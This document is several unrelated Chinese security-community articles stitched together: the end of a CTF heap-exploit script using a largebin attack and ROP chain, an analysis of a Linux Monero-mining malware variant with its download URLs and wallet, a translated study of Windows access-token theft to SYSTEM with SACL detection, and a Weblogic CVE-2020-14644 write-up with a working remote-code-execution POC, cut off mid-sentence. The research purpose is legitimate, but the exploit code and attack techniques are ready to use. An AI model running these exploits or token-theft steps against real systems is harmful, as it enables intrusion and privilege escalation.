r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
#context.terminal = ['tilix', '-x', 'sh', '-c']
#context.terminal = ['tilix', 'splitw', '-v']
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,size,flag=1):
pay = b'\x01'
pay += p8(index)
pay += p16(size)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def free(index,flag=1):
pay = b'\x02'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def show(index,flag=1):
pay = b'\x03'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
def edit(index,size,content,flag=1):
pay = b'\x04'
pay += p8(index)
pay += p16(size)
pay += content
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay
add(0,0x410)#0
add(1,0x460)#1
add(2,0x418)#2
add(3,0x440)#3
add(4,0x410)#4
#---free(1) and show(1)--- pay = free(1,0)
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#------------------------- #---------leak------------ libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8,b'\x00')) - main_arena - 96
su('libc_base',libc_base)
_rtld_global = libc_base+0x26F040
offset = _rtld_global+0x1790
set_context = libc_base + libc.sym['setcontext'] + 61
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
ret = libc_base + libc.sym['setcontext'] + 334
fh = libc.sym['__free_hook'] + libc_base
syscall = next(libc.search(asm("syscall\nret")))+libc_base
#-------------------------
#------largebin attack and leak heap---- pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(_rtld_global-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
ru('Malloc Done\n')
heap = u64(r(6).ljust(8,b'\0')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#---------------------------------------
add(1,0x460)#1
add(3,0x440)#3
payload = p64(0) + p64(offset) + p64(0) + p64(heap + 0x2f50)#chunk
payload += p64(set_context) + p64(ret)
rdx = len(payload)-8
payload = payload.ljust(0x70+rdx,b'\0')+p64(fh&0xfffffffffffff000)#rsi
payload = payload.ljust(0x68+rdx,b'\0')+p64(0)#rdi
payload = payload.ljust(0x88+rdx,b'\0')+p64(0x2000)#rdx
payload = payload.ljust(0xa0+rdx,b'\0')+p64((fh&0xfffffffffffff000)+8)#bytes(frame)
payload = payload.ljust(0xa0+rdx,b'\0')+p64(syscall)#rip
payload = payload.ljust(0x100,b'\x00')
payload += p64(heap + 0x2f50 + 0x10 + 0x110)*0x3#chunk_addr = chunk+0x960
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,b'\x00')
payload += p8(0x8) + b'\x00'*4
edit(3,len(payload),payload)
payload = b'\0'*0x410+p64(heap+0x2f70)
edit(2,len(payload),payload)
pop_rdx_r12_ret = 0x0000000000122431+libc_base
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xfffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,0
,p64(pop_rdx_r12_ret)
,p64(0)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
#gdb.attach(proc.pidof(io)[0])
add(1,0x550)
ru(b'ERROR\n')
s(shellcode)
shell()
## 资料参考：
<https://www.anquanke.com/post/id/222948#h3-6>
<http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html> | 社区文章 |
# 你的机器正在被挖矿 Linux挖矿变种来袭
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 样本简介
近日捕获到一款新型的Linux挖矿病毒变种样本，相关的URL下载信息如下所示：
http://w.3ei.xyz:43768/initdz(服务器已关)
http://w.lazer-n.com:43768/initdz
通过微步在线对服务器URL进行查询，w.3ei.xyz如下所示：
w.lazer-n.com，如下所示：
此挖矿病毒到目前为止已经挖了111个门罗币了，而且还在继续挖矿……
## 详细分析
1.修改主机host文件，如下所示：
在主机host文件中，写入如下内容：
echo \"127.0.0.1 mine.moneropool.com\" >> /etc/hosts
echo \"127.0.0.1 xmr.crypto-pool.fr\" >> /etc/hosts
echo \"127.0.0.1 monerohash.com\" >> /etc/hosts
echo \"127.0.0.1 xmrpool.eu\" >> /etc/hosts
echo \"127.0.0.1 pool.noobxmr.com\" >> /etc/hosts
echo \"127.0.0.1 pool.minexmr.cn\" >> /etc/hosts
echo \"127.0.0.1 xmr.poolto.be\" >> /etc/hosts
echo \"127.0.0.1 monerohash.com\" >> /etc/hosts
echo \"127.0.0.1 stratum.viaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 pool.monero.hashvault.pro\" >> /etc/hosts
echo \"127.0.0.1 xmr-us.suprnova.cc\" >> /etc/hosts
echo \"127.0.0.1 de.moriaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 de2.moriaxmr.com\" >> /etc/hosts
echo \"127.0.0.1 fr.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 de.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 ca.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 sg.minexmr.com\" >> /etc/hosts
echo \"127.0.0.1 xmr.bohemianpool.com\" >> /etc/hosts
echo \"127.0.0.1 xmr-usa.dwarfpool.com\" >> /etc/hosts
echo \"127.0.0.1 monero.miners.pro\" >> /etc/hosts
echo \"127.0.0.1 xmr.prohash.net\" >> /etc/hosts
echo \"127.0.0.1 thyrsi.com\" >> /etc/hosts
echo \"127.0.0.1 minerxmr.ru\" >> /etc/hosts
echo \"127.0.0.1 zer0day.ru\" >> /etc/hosts
echo \"127.0.0.1 minergate.com\" >> /etc/hosts
echo \"127.0.0.1 pixeldra.in\" >> /etc/hosts
echo \"220.194.237.43 w.3ei.xyz\" >> /etc/hosts
echo \"220.194.237.43 w.21-3n.xyz\" >> /etc/hosts
2.测试主机是否能联网，如下所示：
3.检测/etc/zigw、/tmp/zigw、/etc/zjgw等文件是否存在，如果存在，则结束相关进程，删除对应的文件，如下所示：
4.判断主机是否拥有root权限，如下所示：
5.如果主机拥有root权限，同时判断/etc目录下是否存在pvds程序，如果不存在则从http://w.lazer-n.com:43768/pvds网站下载挖矿程序到/etc目录下pvds，如下所示：
挖矿程序，如下所示：
6.判断/etc目录下是否存在httpdz和migrations程序，如果不存在，则从服务器下载相应的挖矿程序，如下所示：
7.判断/usr/bin/rmn和/etc/yums两个程序是否存在，如果存在，则从服务器下载挖矿程序，如下所示：
8.如果不是root权限，则下载相应的挖矿程序到/tmp/pvds、/tmp/httpdz、/tmp/migrations等，如下所示：
9.能过判断是否为root权限，下载挖矿程序到/etc/initdz或/tmp/initdz，进行挖矿操作，如下所示：
10.检测/etc/rzx或/tmp/rzx是否为挖矿程序，如下所示：
11.启动挖矿程序，如下所示：
捕获到的挖矿流量，如下所示：
矿池地址：xmr.f2pool.com:13531
钱包地址：
46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX
通过网站查询，黑客一共挖了111门罗币了，如下所示：
12.从网站http://w.lazer-n.com:43768/crontab.sh下载crontab.sh，并设置crontab自启动项，如下所示：
设置的cron文件，如下所示：
/var/spool/cron/root、/var/spool/cron、/etc/cron.d
cron的文件内容，如下所示：
13.修改SSH文件内容，设置SSH连接密钥，如下所示：
14.清理其它挖矿等恶意程序和相关日志信息等，如下所示：
清理libudev.so，如下所示：
清理xig挖矿程序，如下所示：
清理qW3xT.2，如下所示：
清理systemctI，如下所示：
清理update.sh，如下所示：
清理kworker，如下所示：
清理rsync，如下所示：
清理shm，如下所示：
清理kpsmouseds，如下所示：
清理X11unix，如下所示：
15.添加ats系统服务配置，如下所示：
16.清理历史记录，系统日志等，如下所示：
## 相关IOC
### URL
<http://w.3ei.xyz:43768/initdz>
<http://w.lazer-n.com:43768/initdz>
<http://w.3ei.xyz:43768/pvds>
<http://w.3ei.xyz:43768/pvds2>
<http://w.lazer-n.com:43768/pvds>
<http://w.lazer-n.com:43768/pvds2>
### MD5
06d98dc54c8b01aad4bdc179c569eb88
8438f4abf3bc5844af493d60ea8eb8f6
cea224c7219877a0d602315aa6529ff1
3a72506b186070977fcceeae5fefc444
272d1d7a9f13e15f6b22d9a031695a0d | 社区文章 |
# Windows访问令牌窃取攻防技术研究
|
##### 译文声明
本文是翻译文章，文章原作者 Justin Bui，文章来源：https://posts.specterops.io/
原文地址：<https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b>
译文仅供参考，具体内容表达以及含义原文为准。
#
## 0x00 前言
在本文中，我们介绍了访问令牌窃取的相关概念，以及如何在`winlogon.exe`上利用该技术从管理员上下文中模拟`SYSTEM`访问令牌。MITRE
ATT&CK将该技术归为[ **Access Token
Manipulation**](https://attack.mitre.org/techniques/T1134/)（访问令牌操控）类别。
如果本地管理员账户因为某些组策略（Group
Policy）设置无法获取某些权限，此时模仿`SYSTEM`访问令牌是非常有用的一种技术。比如，本地管理员组可能不具备`SeDebugPrivilege`权限，这样就能加大攻击者转储凭据或者与其他进程内存交互的难度。然而，管理人员无法从`SYSTEM`账户中撤销相关权限，因为这是操作系统正常运行的基础。因此，在加固环境中，`SYSTEM`访问令牌对攻击者而言具有非常高的价值。
了解操控访问令牌的概念后，我将介绍如何使用系统访问控制列表（SACL）来审计进程对象，以便检测恶意操控访问令牌的攻击行为。这种检测技术有一个缺点：防御方必须清楚哪些进程是攻击者的目标。
最后，本文探索了还有哪些`SYSTEM`进程可以替代`winlogon.exe`，用来实施访问令牌模拟攻击，我也介绍了寻找这些进程的方法以及相关知识点。
## 0x01 窃取访问令牌
**备注：** 如果大家对访问令牌控制技术比较了解，想深入了解如何寻找其他可用的`SYSTEM`进程，那么可以直接跳过这一节。
我们可以使用如下Windows
API来窃取并滥用访问令牌：`OpenProcess()`、`OpenProcessToken()`、`ImpersonateLoggedOnUser()`、`DuplicateTokenEx()`以及`CreateProcessWithTokenW()`。
图. 使用Windows API窃取访问令牌
`OpenProcess()`以进程标识符（PID）为参数，返回一个进程句柄，打开句柄时必须使用`PROCESS_QUERY_INFORMATION`、`PROCESS_QUERY_LIMITED_INFORMATION`或者`PROCESS_ALL_ACCESS`访问权限，这样`OpenProcessToken()`才能使用返回的进程句柄。
图. OpenProcess文档
`OpenProcessToken()`以进程句柄及访问权限标志作为参数，用来打开访问令牌所关联进程的句柄。我们必须使用`TOKEN_QUERY`以及`TOKEN_DUPLICATE`访问权限打开令牌句柄，才能与`ImpersonateLoggedOnUser()`配合使用。我们也可以只使用`TOKEN_DUPLICATE`访问权限打开令牌句柄，与`DuplicateTokenEx()`配合使用。
图. OpenProcessToken文档
利用`OpenProcessToken()`获取令牌句柄后，我们可以使用`ImpersonatedLoggedOnUser()`，使当前进程可以模拟已登录的另一个用户。该进程会继续模拟已登录的该用户，直到线程退出或者我们显示调用`RevertToSelf()`。
图. ImpersonateLoggedOnUser文档
如果想以另一个用户身份运行进程，我们必须在`OpenProcessToken()`返回的令牌句柄上使用`DuplicateTokenEx()`，创建新的访问令牌。我们必须使用`TOKEN_ADJUST_DEFAULT`、`TOKEN_ADJUST_SESSIONID`、`TOKEN_QUERY`、`TOKEN_DUPLICATE以及TOKEN_ASSIGN_PRIMARY`访问权限来调用`DuplicateTokenEx()`，才能与`CreateProcessWithTokenW()`配合使用。`DuplicateTokenEx()`创建的访问令牌可以传入`CreateProcessWithTokenW()`，通过复制的令牌运行目标进程。
图. DuplicateTokenEx文档
图. CreateProcessWithTokenW文档
我整理了一些代码演示令牌操作过程，大部分代码借鉴了@[kondencuotas](https://twitter.com/kondencuotas)发表过的一篇[文章](https://ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation)。
大家可以访问[此处](https://github.com/justinbui/PrimaryTokenTheft)下载我的测试代码。
## 0x02 利用winlogon.exe提升至SYSTEM权限
在今年早些时候，[Nick Landers](https://twitter.com/monoxgas)介绍了从本地管理员提升到`NT
AUTHORITY\SYSTEM`的一种简单[方法](https://t.co/gQdLHtmu98)。
在本地管理员（高完整性，high-integrity）上下文中，我们可以从`winlogon.exe`中窃取访问令牌，在当前线程中模拟`SYSTEM`，或者以`SYSTEM`运行新的进程。
图. 从`winlogon.exe`中窃取`SYSTEM`令牌
## 0x03 检测技术
根据[官方描述](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists)：
>
> [访问控制列表](https://docs.microsoft.com/windows/desktop/SecGloss/a-gly)（ACL）是包含[访问控制项](https://docs.microsoft.com/en-> us/windows/win32/secauthz/access-control-> entries)（ACE）的一个列表。ACL中的每个ACE都标识了一个[trustee](https://docs.microsoft.com/en-> us/windows/win32/secauthz/trustees)结构，指定与trustee对应的[访问权限](https://docs.microsoft.com/en-> us/windows/win32/secauthz/access-rights-and-access-> masks)（允许、拒绝或者审核）。[可保护对象](https://docs.microsoft.com/en-> us/windows/win32/secauthz/securable-> objects)的[安全描述符](https://docs.microsoft.com/en-> us/windows/win32/secauthz/security-descriptors)可以包含两种类型的ACL：DACL以及SACL。
我们的检测技术基于SACL（系统访问控制列表）构建。我们可以在进程对象上设置SACL，在Windows Security Log中记录成功/失败的访问操作。
我们可以使用[James
Forshaw](https://twitter.com/tiraniddo)开发的[NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager/1.1.22)来轻松完成这个任务。在下文中，我们大量借鉴了James
Forshaw的[研究成果](https://tyranidslair.blogspot.com/2017/10/bypassing-sacl-auditing-on-lsass.html)，文中提到了如何绕过对LSASS的SACL审计。在这篇文章的帮助下，我深入理解了SACL，也了解了如何使用`NtObjectManager`来控制SACL。
auditpol /set /category:"Object Access" /success:enable /failure:enable
$p = Get-NtProcess -name winlogon.exe -Access GenericAll,AccessSystemSecurity
Set-NtSecurityDescriptor $p “S:(AU;SAFA;0x1400;;;WD)” Sacl
来逐行分析上述代码。第一行启用系统审核功能，记录成功以及失败的对象访问操作。第二行以`GenericAll`及`AccessSystemSecurity`访问权限获得`winlogon.exe`进程的句柄。我们需要`AccessSystemSecurity`权限才能访问SACL。
第三行应用`ACE`类型（`AU`）审核策略，为来自`Everyone`（`WD`）组的成功/失败（`SAFA`）访问生成安全事件。这里需要注意`0x1400`，这是对`0x400`（`PROCESS_QUERY_INFORMATION`）以及`0x1000`（`PROCESS_QUERY_LIMITED_INFORMATION`）进行按位取或（`OR`）后的结果。这些访问权限（以及`PROCESS_ALL_ACCESS`）可以用来从指定进程对象中获取访问令牌。
部署完SACL后，当使用特定访问权限访问`winlogon.exe`时我们应该能看到一些警告信息。
### 场景1：PROCESS_QUERY_INFORMATION
运行测试程序后，可以看到系统会生成EID（Event ID）4656，其中包括所请求的进程对象、发起访问请求的进程以及所请求的权限。“Access
Mask”之所以为`0x1400`，是因为具备`PROCESS_QUERY_INFORMATION`访问权限的句柄也会被自动授予`PROCESS_QUERY_LIMITED_INFORMATION`访问权限。
### 场景2：PROCESS_QUERY_LIMITED_INFORMATION
我重新编译了测试程序，只请求`PROCESS_QUERY_LIMITED_INFORMATION`权限，然后重新运行程序。这次我们可以看到EID
4656事件，其中访问权限为`0x1000`，代表`PROCESS_QUERY_LIMITED_INFORMATION`访问权限。
此外，我们还可以看到EID 4663，表示我们的测试程序在请求句柄后，会尝试访问进程对象。因此，我们能通过搜索EID 4656以及EID
4663，以较高的准确率检测利用访问令牌的操作。
### 场景3：PROCESS_ALL_ACCESS
重新编译测试程序，使用`PROCESS_ALL_ACCESS`访问权限后，我们能看到与场景2相同的EID，其中在EID
4656中，可以看到有程序在请求其他访问权限。
这里值得注意的是，EID 4663中的“Access
Mask”为`0x1000`，这代表`PROCESS_QUERY_LIMITED_INFORMATION`访问权限。此外，当我们使用`PROCESS_QUERY_INFORMATION`访问权限运行测试程序时，系统会生成EID
4656，但不会生成EID 4663.
## 0x04 寻找其他进程
除了`winlogon.exe`之外，我比较好奇是否有其他`SYSTEM`进程能够作为令牌窃取的目标。如果存在这种进程，那它们与无法被窃取令牌的其他`SYSTEM`进程相比有什么不同？
### 验证猜想
首先，我想看一下是否有其他进程可以用来窃取`SYSTEM`令牌。我以运行在高完整性上下文的本地管理员身份暴力枚举了所有`SYSTEM`进程（包括`svchost.exe`），找到了能够窃取`SYSTEM`令牌的其他一些进程。这些进程为`lsass.exe`、`OfficeClickToRun.exe`、`dllhost.exe`以及`unsecapp.exe`。我将这些进程标识为“友好型”进程。
图. 从`unsecapp.exe`中窃取`SYSTEM`令牌
在遍历`SYSTEM`进程的过程中，我注意到对有些进程执行`OpenProcess()`操作时会返回拒绝访问错误（“System Error – Code
5”），导致后续执行失败。
对于某些`SYSTEM`进程，`OpenProcess()`会执行成功，但执行`OpenProcessToken()`时会出现拒绝访问错误。后面我将研究一下为什么会出现这种问题。
### 澄清原因
我的目标是找到允许令牌操作的`SYSTEM`进程在安全设置上存在哪些不同，我决定比较一下`winlogon.exe`以及`spoolsv.exe`。这两个进程都是`SYSTEM`进程，但我只能从`winlogon.exe`中窃取`SYSTEM`访问令牌。
**Session ID**
我使用[Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)打开这两个进程，尝试手动探索这两者之间的不同点。我记得Nick在推特中提到过`winlogon.exe`的“Session
ID”为`1`，这是最大的不同。
我将该进程与其他“友好型”进程作比较，发现其他进程的Session ID都为`0`。不幸的是，这并不是我想寻找的不同点。
图. 比较两个“友好型”进程的Session ID
**Process Explorer中的高级安全设置**
我决定深入分析`winlogon.exe`以及`spoolsv.exe`在高级安全设置（Advanced Security
Settings）上的区别。我注意到这两者在管理员组的高级权限上有所不同。对于`winlogon.exe`，管理员组具备“Terminate”、“Read
Memory”以及“Read Permissions”权限，而`spoolsv.exe`上的管理员组并不具备这些权限。
我试着在`spoolsv.exe`上应用所有权限，然后尝试窃取访问令牌。不幸的是，这种方法并不能弹出`SYSTEM`命令行窗口。
我试着再次启动/停止进程，想看一下进程启动时能否应用这些权限，同样以失败告终。
**Get-ACL**
我决定在PowerShell中使用[Get-ACL](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-6)来观察`winlogon.exe`以及`spoolsv.exe`所对应的安全描述符。
图. `winlogon.exe`及`spoolsv.exe`对应的Get-ACL结果
这两个进程对应的`Owner`、`Group`以及`Access`似乎完全相同。接下来我决定使用[ConvertFrom-SddlString](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertfrom-sddlstring?view=powershell-6)来解析`SDDL`（Security Descriptor Definition
Language，安全描述符定义语言），来分析其中的不同点。
图. `winlogon.exe`及`spoolsv.exe`对应的SDDL
`BUILTIN\Administrators`组对应的`DiscretionaryAcl`似乎相同。这里我有点无计可施，但还是想最后看一下Process
Explorer。
**TokenUser以及TokenOwner**
再次在Process Explorer中观察高级安全设置，我发现所有“友好型”进程的`Owner`字段对应的都是本地管理员组。
图. `winlogon.exe`及`unsecapp.exe`对应的`TokenOwner`字段
我将这个字段与无法窃取访问令牌的其他`SYSTEM`进程作比较，我发现`Owner`的确是一个不同的因素。
图. `spoolsv.exe`及`svchost.exe`的`TokenOwner`字段
我的小伙伴（@[jaredcatkinson](https://twitter.com/jaredcatkinson)）还提到一点，Process
Explorer中的`Owner`字段实际上对应的是`TokenOwner`，并且我们可以使用[GetTokenInformation()](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation)来提取该信息。
我还在GitHub上找到一个非常方便的PowerShell脚本（[Get-Token.ps1](https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56)），可以用来枚举所有进程以及线程令牌。
图. 利用`Get-Token.ps1`解析出来的`winlogon.exe`所对应的令牌对象
观察`winlogon.exe`，我们可以看到`UserName`以及`OwnerName`字段的值有所不同。分析该脚本的具体实现，我发现这些字段对应的是[`TOKEN_USER`](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_user?redirectedfrom=MSDN) 以及[
`TOKEN_OWNER` ](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_owner?redirectedfrom=MSDN)结构。
`TOKEN_USER`结构标识与访问令牌相关的用户，`TOKEN_OWNER`标识利用该访问令牌创建的进程的所有者。这似乎是允许我们从某些`SYSTEM`进程中窃取访问令牌的主要不同点。
前面提到过，对于某些`SYSTEM`进程，`OpenProcess()`可以执行成功，但`OpenProcessToken()`会返回拒绝访问错误。现在我可以回答这个问题，这是因为我并不是这些进程的`TOKEN_OWNER`。
如下一行代码可以用来解析`Get-Token`的输出，寻找`UserName`为`SYSTEM`，但`OwnerName`不为`SYSTEM`的对象。然后抓取每个对象的`ProcessName`及`ProcessID`信息。
Get-Token | Where-Object {$_.UserName -eq ‘NT AUTHORITYSYSTEM’ -and $_.OwnerName -ne ‘NT AUTHORITY\SYSTEM’} | Select-Object ProcessName,ProcessID | Format-Table
非常棒，我们应该能够从这些`SYSTEM`进程中窃取访问令牌，模拟`SYSTEM`访问令牌。接下来让我们验证一下这个猜想。
我手动遍历了这个PID列表，发现大多数进程的确能够用于控制访问令牌，然而还是存在一些例外进程。
图. 对`wininit.exe`和`csrss.exe`执行`OpenProcess()`时会返回拒绝访问错误
**Protected Process Light**
前面提到过，某些`SYSTEM`进程在我调用`OpenProcess()`时，会返回拒绝访问错误，无法窃取令牌。我使用Process
Explorer观察这些进程，发现了可能解释该行为的一个共同属性：`PsProtectedSignerWinTcb-Light`。
仔细阅读[Alex
Ionescu](https://twitter.com/aionescu?lang=en)发表的一篇[研究文章](http://www.alex-ionescu.com/?p=34)以及StackOverflow上的一篇[文章](https://stackoverflow.com/questions/40698608/openprocess-is-it-possible-to-get-error-access-denied-for-process-query-limited)，我了解到这个`Protected`属性与PPL（Protected Process Light）有关。
如果指定的访问权限为`PROCESS_QUERY_LIMITED_INFORMATION`，那么PPL只允许我们在该进程上调用`OpenProcess()`。我们的测试程序需要以`PROCESS_QUERY_INFORMATION`访问权限来调用`OpenProcess()`，以便返回的句柄能够与`OpenProcessToken()`配合使用，因此这样就会出现“System
Error — Code 5”（拒绝访问）错误。
在测试检测机制时，我了解到`OpenProcessToken()`所需的最小访问权限为`PROCESS_QUERY_LIMITED_INFORMATION`，这与微软提供的[官方描述](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken)有所不同。我修改了调用`OpenProcess()`期间所需的访问权限，最终成功拿到了`SYSTEM`级别的命令提示符。
## 0x05 测试结果
当我们使用`PROCESS_QUERY_INFORMATION`访问权限对某些`SYSTEM`进程调用`OpenProcess()`时，我们可以成功窃取这些进程的访问令牌。这些进程包括：
dllhost.exe
lsass.exe
OfficeClickToRun.exe
svchost.exe（只适用于某些PID）
Sysmon64.exe
unsecapp.exe
VGAuthService.exe
vmacthlp.exe
vmtoolsd.exe
winlogon.exe
对于受PPL保护的某些`SYSTEM`进程，如果我们以`PROCESS_QUERY_LIMITED_INFORMATION`访问权限调用`OpenProcess()`，还是能够窃取访问令牌，这些进程包括：
csrss.exe
Memory Compression.exe
services.exe
smss.exe
wininit.exe
其中有些进程可能与我的Windows开发环境有关，我建议大家在自己的环境中进行测试。
## 0x06 总结
稍微总结一下，我们可以从`winlogon.exe`中窃取访问令牌，模拟`SYSTEM`上下文。在本文中，我深入介绍了如何利用SACL以及Windows安全日志来检测对访问令牌的操作行为。
我也尝试寻找与`winlogon.exe`包含相似属性的其他`SYSTEM`进程，本文重点介绍了寻找这些进程的方法，最终找到了能够窃取访问令牌的其他`SYSTEM`进程。此外，我还深入研究了为什么某些进程能够用于操控访问令牌，而有些令牌无法完成该任务的具体原因。
为了从`SYSTEM`进程中窃取访问令牌，该进程必须满足如下条件：
* 如果想在某个进程上调用`OpenProcessToken()`，那么`BUILTIN\Administrator`必须为`TokenOwner`；
* 如果`SYSTEM`进程受PPL（Protected Process Light）保护，那么我们必须使用`PROCESS_QUERY_LIMITED_INFORMATION`访问权限来调用`OpenProcess()`。
希望大家能从本文中了解关于Windows API、SACL、Windows进程、Windows令牌以及控制访问令牌的一些知识 | 社区文章 |
**作者：Sp4rr0vv@ 白帽汇安全研究院
核对：r4v3zn@ 白帽汇安全研究院
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 概述
2020 年 7 月 15 日，Oracle 发布大量安全修复补丁，其中 CVE-2020-14644 漏洞被评分为 9.8 分，影响版本为
`12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0` 。本文基于互联网公开的 POC 进行复现、分析，最终实现无任何限制的
`defineClass` \+ 实例化，进行实现 RCE。
## 前置知识
`JDK` 的 `ClassLoader` 类中有个方法是 `defindClass` ，可以根据类全限定名和类的字节数组，加载一个类到 `jvm`
中并返回对应的 `Class` 对象（随带一提，这种加载类的方式不会执行类初始化）。
所以只要参数 `name`（类名）和 `b` （类文件的二进制数据）可控，理论上我们可以加载任何类，需要注意的一点是，这个类名 `name`
一定要和这个类字节数组 `b` 中对于的类名一致才行，不然就是一个 `NoClassDefFoundError`
## 复现
环境 \- Weblogic 12.2.1.4.0 \- jdk 1.8.0_112 \- Windows 10
首先准备一个带包名的恶意类，在构造函数中写入恶意代码
package com;
import java.io.IOException;
public class EvilObj {
public EvilObj() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
POC
ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);
复现结果：
以下为简化版调用栈：
exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
## 漏洞分析
先看下几个关键的类的字段和构造函数，都是 **coherence.jar** 中的类
> **com.tangosol.internal.util.invoke.RemoteConstructor**
>
>
>
>
> **com.tangosol.internal.util.invoke.ClassDefinition**
>
>
>
>
> **com.tangosol.internal.util.invoke.ClassIdentity**
>
>
>
>
> **com.tangosol.internal.util.invoke.RemotableSupport**
>
>
>
`com.tangosol.internal.util.invoke.ClassIdentity` 的构造构造方法可以将 `Class`
作为参数，然后进行提取该类的一些特征信息，例如 `package`、`BaseName`、`Version`等信息，其中 `Version`
表示该类文件的内容 `MD5` 值，然后转换为 `Hex`。
所以 `getName() = package + "/" + baseName + "$" + version`
`com.tangosol.internal.util.invoke.ClassDefinition` 中 `classname` 和 `byte[]`
都有了，而 `RemoteConstructor` 持有 `ClassDefinition` 类型的引用，`RemotableSupport` 继承了
`ClassLoader`，具有加载类的功能。
最后看下关键的几个调用栈：
重点在 `RemotableSupport.realize` 中进行处理，其中首先流入
`this.registerIfAbsent(constructor.getDefinition())` 中。
在 `RemotableSupport` 中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。
首先是每次调用 `realize` 时会先在缓存中查找 `ClassDefinition`
而 `ClassIdentity` 重写了`equals`方法，所以如果恶意类的内容没有什么变化的话，会将 `Class` 对应的
`ClassIdentity` 在第一次使用时的 id 作为 key，内容作为 value 存入缓存，之后每次都会返回第一次加的 `Class` 的
`name` 的 `ClassDefinition`。
执行 `this.registerIfAbsent(constructor.getDefinition())` 之后通过
`ClassDefinition.getRemotableClass` 进行获取 `m_clz`，第一次流入时内容值为 `null` （其中不仅是因为在
`ClassDefinition` 的构造函数中没有为该字段赋值的语句，更重要的是这个字段是 `transient` 修饰的），然后通过调用
